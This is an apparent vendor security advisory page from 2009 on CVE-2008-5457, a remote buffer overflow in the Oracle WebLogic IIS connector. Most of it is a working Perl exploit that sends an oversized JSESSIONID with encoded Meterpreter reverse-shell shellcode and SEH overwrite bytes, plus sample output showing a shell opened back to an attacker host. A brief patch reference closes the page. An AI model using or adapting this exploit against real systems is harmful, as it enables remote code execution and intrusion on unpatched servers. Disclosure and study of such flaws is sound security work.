|
Services
Information
Company |
Oracle WebLogic IIS connector JSESSIONID Remote Overflow Exploit
Details A buffer overflow vulnerability in the WebLogic IIS connector allows remote attackers to execute arbitrary commands by sending a long, specially crafted JSESSIONID parameter to the server. This vulnerability in WebLogic Portal may allow elevation of privileges. This may be exploited over a network. Example #!/usr/bin/perl # No point in keeping this private anymore! # # k`sOSe - 02/16/2009 - CVE-2008-5457 # Tested on w2k sp4 and w2k3 R2 sp2 (no NX) # # cohelet framework-3.2 # ./msfcli multi/handler PAYLOAD=windows/reflectivemeterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=80 E # [*] Please wait while we load the module tree... # [*] Handler binding to LHOST 0.0.0.0 # [*] Started reverse handler # [*] Starting the payload handler... # [*] Transmitting intermediate stager for over-sized stage...(191 bytes) # [*] Sending stage (75776 bytes) # [*] Meterpreter session 1 opened (10.10.10.1:80 -> 10.10.10.4:2171) # # meterpreter > rev2self # meterpreter > execute -i -f cmd.exe # Process 3092 created. # Channel 1 created. # Microsoft Windows [Version 5.2.3790] # (C) Copyright 1985-2003 Microsoft Corp. # # c:\windows\system32\inetsrv> # LHOST=10.10.10.1 LPORT=80 # windows/reflectivemeterpreter/reverse_tcp # [*] x86/alpha_mixed succeeded, final size 619 my $shellcode = "\xd9\xec\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x49" . "\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a" . "\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" . "\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" . "\x75\x4a\x49\x4b\x4c\x4b\x58\x46\x36\x45\x50\x45\x50\x43" . "\x30\x50\x53\x46\x35\x51\x46\x51\x47\x4c\x4b\x42\x4c\x47" . "\x54\x44\x58\x4c\x4b\x50\x45\x47\x4c\x4c\x4b\x51\x44\x43" . "\x35\x44\x38\x45\x51\x4b\x5a\x4c\x4b\x50\x4a\x45\x48\x4c" . "\x4b\x51\x4a\x47\x50\x43\x31\x4a\x4b\x4b\x53\x50\x32\x51" . "\x59\x4c\x4b\x47\x44\x4c\x4b\x45\x51\x4a\x4e\x50\x31\x4b" . "\x4f\x4b\x4c\x50\x31\x49\x50\x4e\x4c\x47\x48\x4d\x30\x43" . "\x44\x44\x47\x49\x51\x48\x4f\x44\x4d\x43\x31\x49\x57\x4a" . "\x4b\x4b\x42\x47\x4b\x43\x4c\x47\x54\x42\x34\x44\x35\x4b" . "\x51\x4c\x4b\x51\x4a\x47\x54\x45\x51\x4a\x4b\x43\x56\x4c" . "\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x45\x51\x4a" . "\x4b\x4c\x4b\x43\x34\x4c\x4b\x45\x51\x4a\x48\x4a\x4b\x43" . "\x32\x50\x31\x49\x50\x51\x4f\x51\x4e\x51\x4d\x51\x4b\x48" . "\x42\x45\x58\x43\x30\x51\x4e\x42\x4a\x46\x50\x51\x49\x43" . "\x54\x4c\x4b\x42\x39\x4c\x4b\x51\x4b\x44\x4c\x4c\x4b\x51" . "\x4b\x45\x4c\x4c\x4b\x45\x4b\x4c\x4b\x51\x4b\x44\x48\x51" . "\x43\x45\x38\x4c\x4e\x50\x4e\x44\x4e\x4a\x4c\x4b\x4f\x4e" . "\x36\x4d\x59\x48\x47\x46\x33\x45\x38\x46\x34\x48\x4a\x4e" . "\x4f\x4c\x51\x4b\x4f\x49\x46\x4d\x51\x4a\x4c\x45\x50\x43" . "\x31\x43\x30\x45\x50\x50\x50\x46\x37\x46\x36\x51\x43\x4d" . "\x59\x4d\x35\x4d\x38\x45\x4f\x43\x30\x45\x50\x43\x30\x4a" . "\x30\x43\x31\x43\x30\x45\x50\x48\x36\x45\x49\x42\x38\x4d" . "\x37\x49\x34\x42\x39\x42\x50\x4d\x39\x4a\x4c\x4c\x39\x4e" . "\x4a\x43\x50\x48\x59\x45\x59\x4a\x55\x4e\x4d\x48\x4b\x4a" . "\x4d\x4b\x4c\x47\x4b\x51\x47\x50\x53\x46\x52\x51\x4f\x46" . "\x53\x46\x52\x45\x50\x51\x4b\x4c\x4d\x50\x4b\x42\x38\x46" . "\x31\x4b\x4f\x48\x57\x4b\x39\x49\x4f\x4b\x39\x48\x43\x4c" . "\x4d\x44\x35\x44\x54\x43\x5a\x45\x55\x50\x59\x46\x31\x46" . "\x33\x4b\x4f\x46\x54\x4c\x4f\x4b\x4f\x50\x55\x44\x44\x51" . "\x49\x4c\x49\x44\x44\x4c\x4e\x4b\x52\x4b\x42\x46\x4b\x47" . "\x57\x50\x54\x4b\x4f\x50\x37\x4b\x4f\x46\x35\x51\x38\x46" . "\x51\x49\x50\x50\x50\x46\x30\x46\x30\x46\x30\x47\x30\x46" . "\x30\x47\x30\x50\x50\x4b\x4f\x51\x45\x51\x34\x4b\x39\x48" . "\x47\x45\x38\x44\x4a\x45\x5a\x44\x4a\x45\x51\x43\x58\x44" . "\x42\x45\x50\x45\x50\x46\x30\x4b\x39\x4d\x31\x43\x5a\x42" . "\x30\x46\x31\x51\x47\x4b\x4f\x50\x55\x51\x30\x43\x5a\x51" . "\x50\x51\x4e\x46\x36\x49\x51\x4a\x46\x45\x56\x51\x46\x49" . "\x51\x4a\x46\x44\x48\x46\x36\x43\x5a\x45\x50\x4b\x4f\x46" . "\x35\x44\x4c\x4d\x59\x49\x53\x42\x4a\x43\x30\x50\x56\x51" . "\x43\x50\x57\x4b\x4f\x46\x35\x44\x58\x4b\x4f\x48\x53\x44" . "\x4a\x41\x41"; use warnings; use strict; use IO::Socket::INET; my $sock = IO::Socket::INET->new(PeerAddr => '10.10.10.4', PeerPort => '80', Proto => 'tcp'); print $sock "POST /index.jsp?;JSESSIONID=" . "B" x 5132 . $shellcode . "C" x (3000-length($shellcode)) . "\xe9\x43\xf4\xff\xff" . # jmp back "\x90\x90\xeb\xf7" . # jmp back "\x76\x79" . # SEH partial rewrite " HTTP/1.0\r\n" . "Connection:Keep-Alive\r\n" . "Content-Length: 81\r\n\r\n" . "A" x 81 . "\r\n"; Patch Information Apply patch #7825169 as instructed in the Oracle Security Advisory from OracleMetaLink. © 2009 by Red-Database-Security GmbH - last update 20-jun-2009 |
Definition Exploit |